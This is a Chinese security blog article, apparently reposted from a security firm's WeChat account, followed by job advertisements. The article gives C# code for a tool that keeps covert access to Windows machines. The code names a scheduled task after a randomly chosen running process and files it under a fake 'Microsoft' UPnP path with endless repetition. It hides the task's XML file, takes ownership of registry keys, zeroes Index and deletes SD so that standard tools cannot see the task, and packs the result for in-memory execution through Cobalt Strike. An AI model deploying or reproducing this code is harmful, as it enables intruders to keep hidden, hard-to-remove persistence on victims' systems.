Windows计划任务的进阶——工具化
2023-2-14 00:1:40 Author: 白帽子(查看原文) 阅读量:80 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

承接上文,本文主要以计划任务的代码开发为主,将手工化转变为工具化。


Windows计划任务的进阶—隐藏

NO.1 效果图

NO.2 实现步骤

1、选择主机随机进程名作为计划任务程序文件名

2、将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\ 

3、创建的计划任务名取同一随机进程名

4、计划任务触发器以分钟为单位,无限期持续

5、更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

6、删除已添加的计划任务

NO.3 编写代码

编写任务计划的工具,需要用到任务计划API:Microsoft.Win32.TaskScheduler.dll。在 Visual Studio 中,可以直接从NuGet程序包中安装获取。


当然,也可以从 GitHub TaskScheduler

(https://github.com/dahall/TaskScheduler)  中下载获取。

随机进程名

选择主机随机进程名,作为计划任务程序文件名与计划任务名,主要为了每次运行名称都随机,防止后续被溯源,并且取随机进程名,也是一种隐匿。

//选择主机随机进程名Process[] progresses = Process.GetProcesses();Random random = new Random();string randomname = (progresses[random.Next(progresses.Length)].ProcessName);

创建计划任务

触发器以分钟为单位,无限期持续的运行所创建的计划任务,主要是为了权限的持久性。如果说只运行一次或持续时间为一天,那对于权限的维持可以说是毫无意义。


计划任务的创建没有放在根路径下,而是创建在\Microsoft\Windows\UPnP\ 路径下,达到隐匿。

        //创建计划任务        public static void CreateTask(string randomname, string destinationFile, string min){            TaskDefinition td = TaskService.Instance.NewTask();            td.RegistrationInfo.Author = "Microsoft"; //创建者            td.RegistrationInfo.Description = "UPnPHost Service Settings"; //描述            //计划任务运行时间 Min/无限期            double time = double.Parse(min);            TimeTrigger tt = new TimeTrigger();            tt.StartBoundary = DateTime.Now;            tt.Repetition.Interval = TimeSpan.FromMinutes(time);
           td.Triggers.Add(tt);            td.Actions.Add(destinationFile, null, null);            string taskpath = @"\Microsoft\Windows\UPnP\" + randomname;            TaskService.Instance.RootFolder.RegisterTaskDefinition(taskpath, definition: td, TaskCreation.CreateOrUpdate, null, null, 0);        }

隐藏计划任务

XML 文件隐藏

文中已经说过:

1、在 Windows 10 中,删除 XML 文件,并不影响计划任务的运行,且在 taskschd.msc 任务计划程序中,依然存在对应任务;

2、在 Windows 7 与 Windows Server 2008 中,若删除 XML 文件,任务计划程序中的对应任务也会被删除,并且影响计划任务的运行。

为了程序的可用性,这里只能将 XML 文件进行隐藏,而不是删除。

        //隐藏 %SystemRoot%\System32\Tasks 下计划任务对应的 XML 文件        public static void HidXml(string taskpath){            string xml = [email protected]"C:\Windows\System32\Tasks" + taskpath;            FileInfo info = new FileInfo(xml);            if (info.Exists)            {                info.Attributes = FileAttributes.Hidden;                Console.WriteLine($"[*] Hidden task xml file: \n{xml}");            }        }

Index 修改

通过修改 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} 下对应任务的 Index 值为 0后,利用 taskschd.msc、schtasks.exe 、API 都查看不到所创建的任务。


首先需要更改注册表对应计划任务项值的高级安全设置中的所有者。在未获取特权模式下,工具运行后提示“拒绝访问”,这显然是权限不足。

可以使用 [TokenManipulator 类](https://stackoverflow.com/questions/17031552/how-do-you-take-file-ownership-with-powershell/17047190# 17047190) ,从而获取特权模式。这就需要在项目中添加一个新的C# 类,之后在头部 using CosmosKey.Utils; 

try{    TokenManipulator.AddPrivilege("SeRestorePrivilege");    TokenManipulator.AddPrivilege("SeBackupPrivilege");    TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");
   var subKey = Registry.ClassesRoot.OpenSubKey(@"AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);    // code to change owner...}finally{    TokenManipulator.RemovePrivilege("SeRestorePrivilege");    TokenManipulator.RemovePrivilege("SeBackupPrivilege");    TokenManipulator.RemovePrivilege("SeTakeOwnershipPrivilege");}

获取特权模式后,更改注册表项值的所有者为 Administrators,同时要更改注册表项值的权限,这才能对 Index 进行修改操作。

//更改注册表项值的所有者RegistryKey subKey = Registry.LocalMachine.OpenSubKey(regpath,RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRightsTakeOwnership);RegistrySecurity rs = new RegistrySecurity();//设置安全性的所有者为Administratorsrs.SetOwner(new NTAccount("Administrators"));//为注册表项设置权限subKey.SetAccessControl(rs);
//更改注册表项值的权限RegistryAccessRule rar = new RegistryAccessRule("Administrators",RegistryRights.FullControl, AccessControlType.Allow);rs.AddAccessRule(rar);subKey.SetAccessControl(rs);subKey.Close();

SD 删除

SD 键值的删除,是计划任务完全隐藏项之一,当然要排除在注册表中查看。但经过测试,Windows 7 、Windows Server 2008 无 SD 值、Windows 10 有 SD 值。所以就要做 if 的判断,以免程序报错。

        //判断SD键值是否存在(Win7 与 win2008 无SD)        public static void RegeditKeyExist(string regpath){            string[] subkeyNames;            RegistryKey sd = Registry.LocalMachine.OpenSubKey(regpath, true);            subkeyNames = sd.GetValueNames();            foreach (string keyName in subkeyNames)            {                if (keyName == "SD")                {                    sd.DeleteValue("SD");                    sd.Close();                    return;                }            }            sd.Close();            return;        }

删除计划任务

修改注册表中的键值 Index 与 SD 后,任务计划程序中就查看不到该任务。通过 TaskCollection 也无法查到此任务,就无法删除所创建的计划任务。
所以,为了工具的完整性,删除代码只做参考,并未引用到程序中。

        //删除计划任务 (需要管理员权限)        public static void DeleteTask(string taskname){            //不要写成 "\Microsoft\Windows\UPnP\" — 报错 — 找不到            string taskpath = @"\Microsoft\Windows\UPnP";            //获得计划任务            TaskService ts = new TaskService();            TaskCollection tc = ts.GetFolder(taskpath).GetTasks();            //Console.WriteLine($"{tc}");            if (tc.Exists(taskname))            {                string dtask = taskpath + "\\" + taskname;                ts.RootFolder.DeleteTask(dtask);                Console.WriteLine("\n[+] Successfully delete scheduled task !");            }            else            {                Console.WriteLine("\n[!] Please add scheduled task !");            }        }

DLL文件打包到EXE

引用的 Microsoft.Win32.TaskScheduler.dll 并不能直接编译到程序中,每次运行就需要 SchTask.exe 与
Microsoft.Win32.TaskScheduler.dll 在同一目录下,否则运行就会报错。


可以使用 ILMerge

 (https://github.com/dotnet/ILMerge) 将 .Net 的 DLL 文件打包到 EXE 中,直接在 Visual Studio 中使用 NuGet 程序包管理下载安装即可。也可以使用 ILMerge-GUI 

(https://bitbucket.org/wvd-vegt/ilmergegui) 图形化版本打包,更加方便。

程序打包后,在 CobaltStrike 中利用 execute-assembly 可以成功在内存中加载运行。

NO.4 Reference

Ownership of registry

https://www.coder.work/article/981395

TokenManipulator Class

https://stackoverflow.com/questions/17031552/how-do-you-take-file-ownership-with-powershell/17047190

Use ILMerge packaging

http://www.meilongkui.com/archives/1040

Task Scheduler for developers

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246513&idx=1&sn=569be4f3c4350e06a7cf4f7df089a9cf&chksm=82ea56d8b59ddfce3e55f4333291f8772c80c4360ebbcecfe4ad2634ead240859d9644d10d0d#rd
如有侵权请联系:admin#unsafe.sh